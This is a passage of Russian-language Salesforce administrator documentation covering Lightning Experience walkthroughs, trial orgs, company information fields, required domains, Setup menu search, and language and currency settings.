http://salesforce.vidyard.com/watch/2bNpL87E3J3pkZ9uJaTOvA
https://developer.salesforce.com/trailhead/trail/lex_end_user
https://developer.salesforce.com/trailhead/trail/lex_admin_implementation
https://developer.salesforce.com/trailhead/trail/lex_admin_migration
http://developer.salesforce.com/files/LightningExperienceCustomerEnablementPack.zip
https://resources.docs.salesforce.com/200/latest/en-us/sfdc/pdf/lex.pdf
http://releasenotes.docs.salesforce.com/en-us/spring16/release-notes/rn_lex_feature_list.htm
https://developer.salesforce.com/trailhead/trail/lex_dev
https://developer.salesforce.com/trailhead/trail/lex_dev
https://developer.salesforce.com/trailhead/module/lex_dev_visualforce
https://developer.salesforce.com/trailhead/module/lightning_components
https://developer.salesforce.com/trailhead/module/lightning_design_system


Обзор Lightning Experience

Проверка начальной страницы в Lightning Experience: пошаговое
руководство

ВЕРСИИ

Доступно во всех версиях

Используйте начальную страницу для управления важными задачами и сведениями,
относящимися к определенному дню.

Просмотреть обзор: Проверка начальной страницы в Lightning Experience: обзор

СМ. ТАКЖЕ:

Добивайтесь большего в короткие сроки при помощи пошаговых руководств

Полномочия и параметры начальной страницы Lightning Experience

Ассистент

Диаграмма производительности

Настройка пути продаж в Lightning Experience: пошаговое руководство

ВЕРСИИ

Доступно в версиях:
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения пути
продаж:
• «Настройка

приложения»

Для настройкипути продаж:
• «Просмотреть

настройку» и «Изменить
все данные»

Давайте своим группам сбыта необходимые рекомендации по закрытию сделок с
минимальными задержками — из любой точки земного шара. При настройке путей
продаж пользователь определяет, какие поля являются ключевыми для заполнения
торговыми представителями. Также можно оставлять советы, потенциальные
рекомендации и даже вдохновляющие слова, чтобы торговые представители старались
быстрее закрыть сделки.

Краткий обзор: настройка пути продаж в Lightning Experience

СМ. ТАКЖЕ:

Добивайтесь большего в короткие сроки при помощи пошаговых руководств
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Создание спискового представления в Lightning Experience: пошаговое
руководство

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания спискового
представления
возможностей:
• «Чтение» для

возможностей

Ниже приведены инструкции по созданию спискового представления на основе
собственныхкритериевпользователя. Списковыепредставленияобеспечиваютбыстрый
доступ к важным записям пользователя.

Просмотреть обзор: Создание спискового представления в Lightning Experience

СМ. ТАКЖЕ:

Добивайтесь большего в короткие сроки при помощи пошаговых руководств

Проверка настроек в Lightning Experience: пошаговое руководство

ВЕРСИИ

Доступно во всех версиях

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для использования
настроек:
• «Настройка

приложения»

Настройка Lightning Experience упрощает осмотр и управление задачами личной и
административной настройки. Помните, что эта функция доступна только в Lightning
Experience.

Просмотреть обзор: Проверка настроек в Lightning Experience

СМ. ТАКЖЕ:

Добивайтесь большего в короткие сроки при помощи пошаговых руководств
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Доступ к объектам и их редактирование с помощью менеджера объектов:
пошаговое руководство

ВЕРСИИ

Доступно во всех версиях

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Доступ к объектам и их
редактирование в менеджере
объектов:
• «Настройка

приложения»

Ко всем объектам (например, организациям и контактам) и их связанным атрибутам
(полям, правилампроверки, макетамстраницит. д.) предоставляетсяцентрализованный
доступ. Помните, что эта функция доступна только в Lightning Experience.

Просмотреть обзор: Доступ к объектам и их редактирование с помощью
менеджера объектов

СМ. ТАКЖЕ:

Добивайтесь большего в короткие сроки при помощи пошаговых руководств

Создание, редактирование и назначение наборов полномочий в Lightning
Experience: пошаговое руководство

ВЕРСИИ

Доступно во всех версиях.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания набора
полномочий:
• «Настройка

приложения»,
«Просмотр настройки и
конфигурации» и
«Управление
профилями и наборами
полномочий»

Для добавления
полномочий в набор:
• «Просмотр настройки и

конфигурации» и
«Управление
профилями и наборами
полномочий»

Для назначения набора
полномочий:
• «Назначение наборов

полномочий»

Набор полномочий — это совокупность параметров и полномочий, которая
предоставляет пользователям доступ к различным инструментам и функциям. Наборы
полномочий позволяют расширить функциональный доступ пользователей без
изменения их профилей.

Просмотретьобзор: Создание, редактированиеиназначениенаборовполномочий
в Lightning Experience

СМ. ТАКЖЕ:

Добивайтесь большего в короткие сроки при помощи пошаговых руководств
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Импорт организаций и контактов с использованием мастера импорта
данных: пошаговое руководство

ВЕРСИИ

Доступно во всех версиях

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для импорта организаций и
контактов:
• «Импорт личных

контактов»

Данный обзор охватывает порядок импорта организаций и контактов посредством
мастера импорта данных.

Просмотретьобзор: Импорторганизацийиконтактов сиспользованиеммастера
импорта данных
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Настройка и обслуживание организации Salesforce

Добро пожаловать, администраторы Salesforce!

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Администратор Salesforce (или пользователь с профилем «Администратор») несет
ответственность за настройку интерактивной организации, а именно: добавление
пользователей и настройка системы в соответствии с текущими бизнес-требованиями.

Данное руководство содержит сведения, необходимые для настройки и обслуживания
организации Salesforce.

Надеемся, чтосодержимоеданногоруководствапозволитполучитьполноепредставление
о настройке организации и ее использовании в системе Salesforce. При необходимости
обратитесь в службу поддержки Salesforce.

Пробные версии Salesforce

Общие сведения о пробной версии

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

Пробные версии позволяют оценить преимущества системы Salesforce до подписки.
Пробная версия — это...

• Тестовые данные. При необходимости тестовые данные могут быть удалены.

• Полномочияадминистратора. Подписавшийсясотрудникавтоматическистановится
администратором. Придобавленииновыхпользователейможет быть добавлен еще
один администратор.

• Поддержка многочисленныхфункций Salesforce.

• Возможность подписки на систему Salesforce.

Прим.: Функции, доступные в пробной версии, могут отсутствовать в приобретенной версии.

Если пробная версия, дополненная несколькими пользователями, преобразуется в версию Personal Edition, то все
пользователи, кроме первоначального системного администратора, будут деактивированы.

302



Запуск новой пробной версии

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Необходимые
полномочия пользователя

Для запуска новой пробной
версии:
• «Изменение всех

данных»

При регистрации в системе Salesforce пользователь может выбрать отраслевойшаблон
стестовымиданными. Втечениепробногопериодапользовательможет запуститьновую
пробную версию с пустымшаблоном. Чтобы запустить новую пробную версию,
рекомендуем удалить текущую пробную версию, включая все данные и настройки.

Ниже перечислены условия запуска новой пробной версии.

• Наличие не более 1 000 строк данных

• Отсутствие дополнительных лицензий, добавленных компанией Salesforce

• Отсутствие дополнительных функций, включенных компанией Salesforce

Чтобы запустить новую пробную версию, выполните указанные ниже действия.

1. Вменю «Настройка» введите «Запуск новой пробной версии» вполе «Быстрый поиск»,
затем выберите «Запуск новой пробной версии». Данная ссылка отображается
только во время пробного периода.

2. Выберите нужный язык и параметрышаблона.

3. Подтвердите необходимость удаления текущей пробной организации и всех ее
данных. Удалению подлежат тестовые данные и данные, введенные пользователем.

4. Установитефлажок, подтверждающийсогласиена удаление всех текущихпробных
данных.

5. Нажмите кнопку «Отправить».

6. Нажмите кнопку «Отправить» на странице подтверждения.

Прим.: Запуск новой пробной версии инициирует удаление текущей пробной организации, включая все текущие
данные и настройки. Пробная организация и ее данные будут недоступны. Система сохраняет только имена
пользователей.

Преобразование пробной версии посредством Checkout

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Personal Edition, Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Учетная запись Checkout позволяет пользователям преобразовывать пробную версию
Salesforceвполноценнуюподписку. Еслиорганизациянеимеетсамостоятельногодоступа
к системе Checkout, отправьте запрос представителю Salesforce.

Чтобыпреобразовать пробнуюверсиювподписку посредствомCheckout, рекомендуем
создать смету.

Прим.: Чтобы связаться с менеджеромпо работе с клиентами Salesforce, щелкните
ссылку «Запросить помощь» на любом этапе процесса создания сметы.

Чтобыпреобразоватьпробнуюверсиювподписку, выполнитеуказанныенижедействия.

1. Чтобысоздать смету, нажмите кнопку «Подписаться!»иливыберитепунктCheckout
в раскрывающемся меню приложений Force.com. Обратите внимание, что версия и
продукты, используемые в пробной организации, выбираются в Checkout заранее.

Важное замечание: Закрытиеокнавовремясозданиясметыинициируетпотерю
всех внесенных изменений. При создании новой сметы система удаляет смету
целиком. Чтобысохранитьвнесенныеизмененияипродолжитьредактирование
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сметы позже, нажмите кнопку «Сохранить для дальнейшего использования» на любой странице.

2. При первом использовании или создании и редактировании сметы в пробной организации введите и подтвердите
сведения на вкладке «Сведения о подписке».

3. При создании или редактировании сметы в пробной организации расширенной версии введите и подтвердите
сведения на странице «Продукты», просмотрите сведения для выставления счета и щелкните «Перейти к обзору
заказа».

4. Чтобы создать смету для другой версии, щелкните «Версии и цены». Введите и подтвердите сведения о подписке,
продукте и счете, а затем щелкните «Перейти к обзору заказа». Страница «Обзор заказа» отображает введенные
данные, а также общую стоимость всех продуктов в смете.

Прим.: При преобразовании пробной организации в ограниченную версию (например, преобразование
пробной версии Professional Edition в подписку Group Edition) система удаляет некоторые функции и данные,
доступные в пробной версии. Чтобы подтвердить удаление, установите флажок «Подтверждаю». Чтобы
просмотретьсписокфункций, которыенеподдерживаютсявыбраннойверсией, щелкните«Проверить». Чтобы
создать резервную копию всех данных перед преобразованием, войдите в организацию в Salesforce, откройте
настройки и введите строку «Экспорт данных» в поле «Быстрый поиск» в меню «Настройка», затем выберите
пункт «Экспорт данных».

5. Просмотрите выбранные продукты и нажмите кнопку «Разместить заказ».

Смета, созданная пользователем пробной версии без размещения заказа, сохраняется в системе Checkout. Заполнение
сметы и размещение заказа на подписку инициируют закрытие всех других соответствующих открытых смет.

СМ. ТАКЖЕ:

Руководство пользователя Checkout

Удаление пробных данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления пробных
данных:
• «Изменение всех

данных»

Прирегистрацииновая организация Salesforce автоматически заполняется некоторыми
тестовыми данными. В течение пробного периода администраторы могут удалять
тестовые данные и все данные организации посредством ссылки «Удалить все данные».

Прим.: Ссылка «Удалить все данные» отображается только при выполнении всех
указанных ниже условий.

• Наличие полномочия пользователя «Изменение всех данных».

• Использование пробной организации.

• Отсутствие включенных порталов.

• Пользовательнеявляется администраторомпартнера, выступающимотимени
другого пользователя.

1. Введите строку «Удалить все данные» вполе «Быстрый поиск» вменю «Настройка»,
затем выберите пункт «Удалить все данные».

2. Подтвердитенеобходимостьудалениявсехданныхорганизации. Удалениюподлежат
тестовые данные и данные, введенные пользователем. Параметры пользователя и
администратора не изменяются.

3. Нажмите кнопку «Отправить».
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Прим.: Еслиограниченияхранилищаданныхпрепятствуютудалениювсех тестовыхданныхописаннымспособом,
используйте пакетное удаление записей, чтобы удалить организации. Затем воспользуйтесь ссылкой «Удалить все
данные», чтобы удалить оставшиеся тестовые данные. Инструкции по использованиюпакетного удаления записей
см. в разделе «Пакетное удаление записей и отчетов» на странице 833.

Планирование запуска Salesforce

ПередначаломкомбинированияединицинастраиванияSalesforceпросмотритересурсы, призванныепомочьпользователю
планировать запуск.

Как Salesforce Consulting Partner может помочь пользователю?

Недавноприобрели Salesforce? Незнаете, с чегоначать? Проконсультируйтесь спартнером-консультантом (consulting
partner) о том, как воспользоваться всеми возможностями продукта.

Как Salesforce Consulting Partner может помочь пользователю?
Недавно приобрели Salesforce? Не знаете, с чего начать? Проконсультируйтесь с партнером-консультантом (consulting
partner) о том, как воспользоваться всеми возможностями продукта.

Партнеры-консультанты (Consulting partner) — это фирмы, которые нанимают консультантов, имеющих сертификат
Salesforce. Консультанты работают с пользователями, чтобы изучить нужды их компании, разработать и создать
организацию Salesforce для их удовлетворения, а также тестируют организацию до ее запуска в ваших группах.
Партнеры-консультанты преследуют единую цель: ваш успех в работе с Salesforce.

Запуск эффективной организации Salesforce занимает время и требует глубокого планирования. Работа с партнерами
можетпомочь компаниипользователяиспользоватьмощности Salesforce; данныйпроцессбудет сложнымидлительным
без поддержки экспертов.

Не уверены, что компания нуждается в помощи экспертов? Подумайте, как бы вы ответили на следующие вопросы о
целях продаж вашей компании.

• Имеет ли ваша компания внутренние ресурсы времени, знаний и опыта для развития соответствующихфункций
Salesforce, чтобы удовлетворять деловые нужды компании?

• Начинаетливашакомпанияработать сновыминаправлениямидеятельности, расширяетприсутствиевдругихстранах
или открывает новые предприятия?

• Нужны ли вам ясные, объективные перспективы во время принятия деловых решений?

• Вы хотите видеть результаты через несколько недель, а не лет?

Все еще выжидаете? Проведите сравнение между самостоятельным запуском Salesforce и запуском Salesforce вместе с
партнером.

Запуск Salesforce вместе с
партнером

Самостоятельный запуск SalesforceСравнение

Консультанты имеют сертификаты
Salesforce.

Иногда компании нанимают
сотрудниковс сертификатомSalesforce,
которые могут помочь с настройками.

Оценка
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Запуск Salesforce вместе с
партнером

Самостоятельный запуск SalesforceСравнение

Консультанты провели настройки во
многих организациях Salesforce и

Как правило, сотрудники имеют
небольшой опыт работы с Salesforce
или не имеют никакого.

Опыт

имеютпредставленияорекомендациях
по использованию.

Консультанты выполняют весь объем
работ для запуска Salesforce.

Обычно настройка завершается
другими проектами и приоритетами
ваших сотрудников.

Доступность ресурсов для настройки

Консультанты опытны и имеют связи,
они могут предложить персональную

Salesforce предлагает базовую
поддержку для всех организаций

Внешняя поддержка

поддержку компаниям во время
настройки и запуска.

Salesforce. В поддержку входит доступ
к самообслуживанию (статьи
интерактивной справки) и агенты
службыподдержки (ответгарантирован
в течение 2 дней).

Как правило, запуск Salesforce с
партнером проходит быстрее, т.   к.

Обычно самостоятельный запуск
Salesforce занимаетсущественноевремя,
если недоступны опытные ресурсы.

Затраты времени

опытные ресурсы полностью
вовлечены в ваш проект.

Когда консультанты запускают
Salesforce, большешансов, что группы

Если Salesforceнезапускаетсядолжным
образом, компании рискуют, что их

Признание Salesforce группами по
продажам

по продажам используют продукт сгруппы по продажам не признают
момента запуска, т. к. преимущества
системы видны сразу.

значение продуктов и не будут
применять продукт в полной мере.

Партнеры Salesforceмогутпредложить
опытных наставников и готовые
учебные материалы.

Компании должны разрабатывать и
запускатьсобственныепланыобучения
для сотрудников без кураторства со
стороны экспертов.

Средства обучения

Чтобыузнать большеопартнерах-консультантах (consulting partners) ио том, как с ними связаться, посетитенашвеб-сайт,
раздел «Успешное внедрение вместе с партнерами Salesforce».

СМ. ТАКЖЕ:

https://help.salesforce.com/HTViewQuickStarts?id=000176287

https://help.salesforce.com/HTViewQuickStarts?id=000176287
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Настройка организации

Поиск сведений о компании

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра сведений о
компании:
• «Просмотр настройки и

конфигурации»

Для изменения сведений о
компании:
• «Изменение всех

данных»

Найдитесведения, предоставляемыеприрегистрациикомпаниив Salesforceнастранице
«Сведения о компании» в разделе «Настройка».

Ниже перечислены действия, доступные на странице «Сведения о компании».

• Измените сведения о компании.

• Просмотритедоступныелицензиипользователя, лицензиинакомпоненты, лицензии
набора полномочий и права на основе использования.

• Добавьте или удалите лицензии.

• (Только для безопасных организаций) Сопоставьте предоставленные лицензии
производственной среды с безопасной организацией. Процесс сопоставления
обновляетбезопаснуюорганизациюлицензиямипроизводственнойсредыиудаляет
из безопасной организации любые лицензии, которые отсутствуют в
производственной среде.

Поля сведений о компании

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступные поля
определяютсяиспользуемой
версией Salesforce.

Ниже перечислены поля, доступные на странице «Сведения о компании», включая
лицензии, приобретенные для организации.

ОписаниеПоле

Частьадресаорганизации: названиеулицы.
Данное поле может содержать не более
255 символов.

Адрес

Данное поле позволяет администраторам
организации определять необходимость
получения рекламных сообщений эл.
почты от компании Salesforce.

Информационный бюллетень
администратора

Общее количество запросов API,
отправленныхорганизациейзапоследние

Запросы API, последние 24 часа

24 часа. Максимальное количество
запросов определяется используемой
версией системы.
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ОписаниеПоле

Часть адреса организации: название города. Данное поле
может содержать не более 40 символов.

Город

Валюта, используемая головным офисом организации в
отчетахподоходам. Данная валютаиспользуется в качестве

Валюта компании

основы всех курсов обмена. Данное поле доступно только
мультивалютным организациям.

Часть адреса пользователя: название страны. Значение
выбирается из раскрывающегося списка стандартных

Страна

значений или вводится как текст. Поле, являющееся
текстовым, может содержать не более 80 символов.

Пользователь, зарегистрировавший организацию, а также
дата и время создания. (Только для чтения)

Создано

Часть адреса организации: название страны или
географического региона. Данный параметр определяет

Регион валюты

форматотображениясуммввалюте. Данноеполедоступно
только одновалютным организациям.

Стандартный язык, выбранный для новых пользователей
организации. Данный параметр определяет язык,

Стандартный язык

используемый в справке и пользовательском интерфейсе.
Вовсех версиях, кроме Personal Edition иDatabase.com Edition,
отдельные пользователи могут самостоятельно выбирать
язык для входа; при этом переопределяются параметры
организации. ВверсииGroup Edition данноеполеназывается
«Язык отображения».

Кроме того, данный параметр определяет язык,
используемый для хранения всех настроек (например,
настраиваемые поля, вкладки и параметры
пользовательского интерфейса). Данный параметр не
переопределяется параметрами языка отдельных
пользователей.

Приредактированиииликлонированиитекущихкритериев
фильтрацииубедитесь, чтоданныйпараметрсоответствует
стандартному языку, выбранному при определении
исходных критериев фильтрации. В противном случае
критерии фильтрации могут не быть оценены как
ожидалось.

Стандартная страна или географический регион,
выбранныйдляновыхпользователейорганизации. Данный

Стандартный регион

параметр определяет формат отображения дат, времени и
имен в системе Salesforce. Версии Contact Manager, Group
Edition, Professional Edition, Enterprise Edition, Unlimited Edition,
Performance Edition и Developer Edition позволяютотдельным
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ОписаниеПоле

пользователям задавать личные регионы, которые
переопределяют параметры организации. В версии Group
Edition данное поле называется «Регион».

Часть адреса организации: название основного часового
пояса. Параметротдельногопользователя «Часовой пояс»

Стандартный часовой пояс

переопределяет параметр организации «Стандартный
часовой пояс».

Группа или подразделение, использующее систему
(например, группасбытаПК). Данноеполеможетсодержать
не более 40 символов.

Подразделение

Номер факса. Данное поле может содержать не более
40 символов.

Факс

Начальныймесяци годдляфинансового годаорганизации
при использовании стандартного финансового года.

Начало финансового года

Значение «Настраиваемыйфинансовый год» при
использовании настраиваемого финансового года.

Чтобы скрыть предварительные уведомления о плановом
простоесистемы, отображающиесяпривходепользователя
в систему Salesforce, установите данныйфлажок.

Скрыть уведомления о простое системы

Чтобы скрыть предварительные уведомления о плановом
обслуживании системы, отображающиеся при входе

Скрыть уведомления об обслуживании системы

пользователя в систему Salesforce, установите данный
флажок.

Пользователь, который изменял сведения о компании
последним, а также дата и время изменения. (Только для
чтения)

Изменено

Данное поле позволяет пользователям организации
определять необходимость получения рекламных
сообщений эл. почты от компании Salesforce.

Информационный бюллетень

Версия организации, например Developer Edition или
Enterprise Edition.

Версия организации

Название организации. Данное поле может содержать не
более 80 символов.

Имя организации

Основной номер телефона организации. Данное поле
может содержать не более 40 символов.

Тел.

Основное контактное лицо или администратор
организации. Имяможетбыть введеносамостоятельноили

Основной контакт

выбрано из списка предопределенных пользователей.
Данное поле может содержать не более 80 символов.
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ОписаниеПоле

Количество пользователей ограниченного входа,
выполнивших вход в течение текущего месяца.

Данное значение аннулируется в начале каждого месяца.
Максимальное количество пользователей ограниченного
входа отображается в скобках.

Ограниченные входы, текущий месяц

Количество учетных записей Salesforce, которым может
бытьпредоставлендоступксистеме. Данноеполесодержит

Лицензии Salesforce

количество лицензий Salesforce, оплачиваемых
организацией.

Уникальный код организации в системе Salesforce.Код организации Salesforce

Часть адреса пользователя: название области илиштата.
Значение выбирается из раскрывающегося списка

Область/штат

стандартных значений или вводится как текст. Поле,
являющееся текстовым, может содержать не более
80 символов.

ОбщееколичествособытийStreaming API, использованное
организацией за последние 24 часа. Максимальное

События Streaming API, последние 24 часа

количество событий определяется используемой версией
системы.

Часть адреса организации: почтовый индекс. Данное поле
может содержать не более 20 символов.

Почтовый индекс

Использованный объем хранилища данных; значение
указывается в единицах измерения (например, 500 Мб) и в

Использованное пространство данных

процентахотобщегообъемахранилищаданных (например,
10 %).

Использованный объем хранилищафайлов; значение
указывается в единицах измерения (например, 500 Мб) и в

Использованное пространство файлов

процентах от общего объема хранилищафайлов
(например, 10 %).

СМ. ТАКЖЕ:

Поиск сведений о компании
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Обязательные домены

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Нижеперечисленыдомены, используемыесистемойSalesforceдлядоставкисодержимого.

• *.content.force.com

• *.force.com

• *.salesforce.com

• *.staticforce.com

• Кроме того, эти домены используются для доставки содержимого в правую рамку
страницы входа.

• *.sfdcstatic.com

• secure.eloqua.com

• www.google.*

• *.doubleclick.net

• www.facebook.com

• ssl.google-analytics.com

Содержимое правой рамки отображается по следующим URL-адресам.

• login.salesforce.com

• test.salesforce.com

• <instance>.salesforce.com (например, na1.salesforce.com)

• URL-адрес «Мой домен» без элементов настраиваемого фирменного стиля (например, norns.my.salesforce.com)

Данные домены должны быть добавлены в список разрешенных доменов (при его наличии). Если обозреватель не
поддерживает сторонние cookie-файлы (поумолчаниюподдерживаютсябольшинствомобозревателей), то качественная
работасистемыSalesforce гарантируетсятолькопослеихвключения. Пользователям, имеющимобщийдоступкИнтернету,
не требуется предпринимать каких-либо действий.

Меню «Настройка»

Улучшенный интерфейс настройки пользователя в Salesforce Classic

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

Улучшенный пользовательский интерфейс настройки позволяет добиться большего
удобстваприпросмотреиуправлениизадачамиличнойиадминистративнойнастройки.

Организация, использующая улучшенный пользовательский интерфейс настройки,
отличается некоторыми изменениями.

• Меню «Настройка» открывается посредством ссылки «Настройка», расположенной
в верхнем правом углу любой страницы Salesforce.

• Разделыменю «Настройка» объединенывнесколькокатегорий: «Администрировать»,
«Разработать», «Развернуть», «Отслеживать» и «Checkout».

• Личныепараметры, которыемогутредактироваться всемипользователями Salesforce,
доступны в отдельном меню «Мои параметры».

Чтобыоткрытьменю «Моипараметры», щелкнитеимяпользователя в верхнемправомуглулюбойстраницы Salesforce
и выберите пункт «Мои параметры». Кроме того, меню «Мои параметры» доступно на странице профиля Chatter:
щелкните ссылку «Мои параметры» на правой панели.
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• Начальная страницаменю «Моипараметры» содержитбыстрые ссылкинапопулярныеинструментыизадачираздела
«Личные параметры».

Важное замечание: Включениеулучшенногопользовательскогоинтерфейсанастройкиинициируетего активацию
для каждого пользователя организации. Прежде чем включить или выключить данный параметр, рекомендуем
уведомить пользователей организации о предстоящих изменениях.

Чтобывключитьулученныйинтерфейснастройкипользователя, вразделе «Настройка» введите «Интерфейс пользователя»
вполе «Быстрый поиск», затемвыберите «Интерфейспользователя», затемвыберитепункт «Включитьулучшенный
интерфейс настройки пользователя».

Прим.: Улучшенный пользовательский интерфейс настройки:

• не поддерживается обозревателем Internet Explorer 6.0

• доступен только при использовании новой темы пользовательского интерфейса

СМ. ТАКЖЕ:

Индивидуальная настройка системы Salesforce

Поиск настроек

Расширенный поиск по меню «Настройка» (бета)

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения
расширенного поиска по
меню «Настройка»:
• «Настройка

приложения»

Для поиска по меню
«Настройка»:
• «Просмотр настройки и

конфигурации»

Расширенный поиск по меню «Настройка» позволяет выполнять поиск разных типов
элементов меню «Настройка», включая элементы утверждения, настраиваемые объекты
и поля, настраиваемые профили, наборы полномочий, элементы бизнес-правил,
пользователей и т. д.

Прим.: Данныйвыпускподдерживаетбета-версиюфункции «Расширенныйпоиск
по меню "Настройка"», являющуюся полноценной, но имеющую некоторые
ограничения.

Чтобы воспользоваться расширенным поиском по меню «Настройка», включите
соответствующий параметр пользовательского интерфейса. В разделе «Настройка»
введите «Интерфейс пользователя» вполе «Быстрый поиск», затемвыберите«Интерфейс
пользователя», затемпрокрутитедопункта «Включить расширенный поиск по меню
"Настройка" (бета)». Если организация не поддерживает расширенный поиск по
меню «Настройка», то поле поиска по меню «Настройка» возвращает только заголовки
страниц меню «Настройка», но не отдельные созданные или измененные элементы
меню «Настройка».

Универсальность расширенного поиска по меню «Настройка» обуславливает
возможность его разнопланового использования.

• Чтобы найти страницу меню «Настройка», введите полное имя нужной страницы
или его часть в поле «Поиск по всему меню "Настройка"...». По мере ввода система
отображаетсоответствующиестраницыменю «Настройка». Чтобыоткрытьстраницу,
щелкните имя нужной страницы.

• Чтобы найти метаданные настройки, введите не менее двух последовательных

символовизименинужного элементаищелкните значок илинажмите клавишу
Enter. Выберите нужный элемент на странице «Результаты поиска по меню
"Настройка"».
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Прим.: Некоторыеэлементы, доступныедляпоиска (например, наборыполномочий), поддерживаютсяне всеми
версиями. Пользователи не могут выполнять поиск по элементам, которые не поддерживаются используемой
версией системы.

Пример: Например, чтобы просмотреть все установленные пакеты организации, введите запрос «уста». По мере
ввода система фильтрует меню «Настройка» для отображения только тех меню и страниц, которые соответствуют
заданномукритерию. Ссылкананужнуюстраницу («Установленныепакеты») отображаетсявсчитанныесекунды.

Далее, чтобы изменить пароль одного из пользователей (Мария Кузнецова), введите запрос «кузн» ищелкните

значок . Чтобыоткрыть страницусведенийопользователе, щелкнитерезультат «МарияКузнецова» на странице
«Результаты поиска по меню "Настройка"».

СМ. ТАКЖЕ:

Страница «Результаты поиска по меню "Настройка"» (бета)

Страница «Результаты поиска по меню "Настройка"» (бета)

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Страница «Результатыпоискапоменю "Настройка"» отображаетразныетипыэлементов
меню «Настройка», соответствующие заданному критерию, включая элементы
утверждения, настраиваемые объекты и поля, настраиваемые профили, наборы
полномочий, элементы бизнес-правил, пользователей и т. д.

Прим.: Данныйвыпускподдерживаетбета-версиюфункции «Расширенныйпоиск
по меню "Настройка"», являющуюся полноценной, но имеющую некоторые
ограничения.

Откройте страницу «Результаты поиска по меню "Настройка"».

• Левая панель содержит все категории, напротив которых отображается количество
найденных результатов.

– Чтобы просмотреть результаты поиска для конкретной категории, выберите
нужную категорию.

– Чтобы просмотреть все результаты поиска, щелкните ссылку «Все результаты».

• Чтобы открыть страницу сведений, щелкните имя нужного результата. Чтобы изменить сведения, щелкните ссылку
«Правка».

• Чтобы выполнить повторный поиск по меню «Настройка», воспользуйтесь полем поиска вверху страницы.

Прим.: Критерии поиска, соответствующие имени или прозвищу пользователя в сообществе (поле «Прозвище»
на странице сведений о пользователе), возвращают результаты, отображающие только имя пользователя. Если
прозвищенесоответствуетименипользователя, торезультатможетнебытьочевидным. Например, поискпозапросу
«Нют» возвращает пользователя Анна Петрова, которому соответствует прозвище «Нюточка».

Совет: При просмотре результатов поиска по меню «Настройка» рекомендуем добавить страницу результатов в
закладки, чтобы ускорить аналогичные поиски в будущем. Например, при частом поиске по запросу «кузн»
рекомендуемдобавитьсоответствующуюстраницурезультатовв закладки. URL-адресданнойзакладкибудетвыглядеть
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следующим образом:
https://мояКомпания.salesforce.com/ui/setup/SetupSearchResultsPage?setupSearch=кузн.

СМ. ТАКЖЕ:

Расширенный поиск по меню «Настройка» (бета)

Общие сведения о языке, регионе и валюте

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Параметры Salesforceдля языка, региона, часовогопоясаи валютымогут влиятьна способ
отображения объектов (например, организаций, интересов, возможностей и т. д.).
Администраторы одновалютных организаций Salesforce настраивают региональную
валюту, а также стандартные язык, регион и часовой пояс организации, тогда как
пользователи могут настроить собственные язык, регион и часовой пояс на страницах
личных параметров. Администраторы многовалютных организаций Salesforce
настраивают валюту компании, а также стандартные язык, регион и часовой пояс
организации, тогда какпользователимогутнастроитьсобственныеязык, регион, часовой
пояс и валюту на страницах личных параметров.

Прим.: Одноязычные организации не поддерживают изменение языка, но
позволяют менять регион.

Наличие полномочия на редактированиеПараметр

Пользователь мультивалютной организацииВалюта

Администратор мультивалютной организацииВалюта компании

Администратор одновалютной организацииРегиональная валюта

Недоступно для редактированияКод ISO валюты по умолчанию

АдминистраторЯзык по умолчанию

АдминистраторРегион по умолчанию

АдминистраторЧасовой пояс по умолчанию

Недоступно для редактированияВалюта информации

ПользовательЯзык

ПользовательРегион

314

Общие сведения о языке, регионе и валютеНастройка и обслуживание организации Salesforce



Наличие полномочия на редактированиеПараметр

ПользовательЧасовой пояс

СМ. ТАКЖЕ:

Общие сведения о параметрах языка

Поддерживаемые валюты

Какие языки поддерживает система Salesforce?

Поддерживаемые регионы

Поддерживаемые часовые пояса

Установка личной валюты или валюты организации

Общие сведения о параметрах языка

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Пользовательский веб-интерфейс Salesforce, а также приложения Salesforce for Outlook,
Connect Offline и Connect for Office, доступны на нескольких языках.

Ниже перечислены параметры языка, поддерживаемые пользовательским
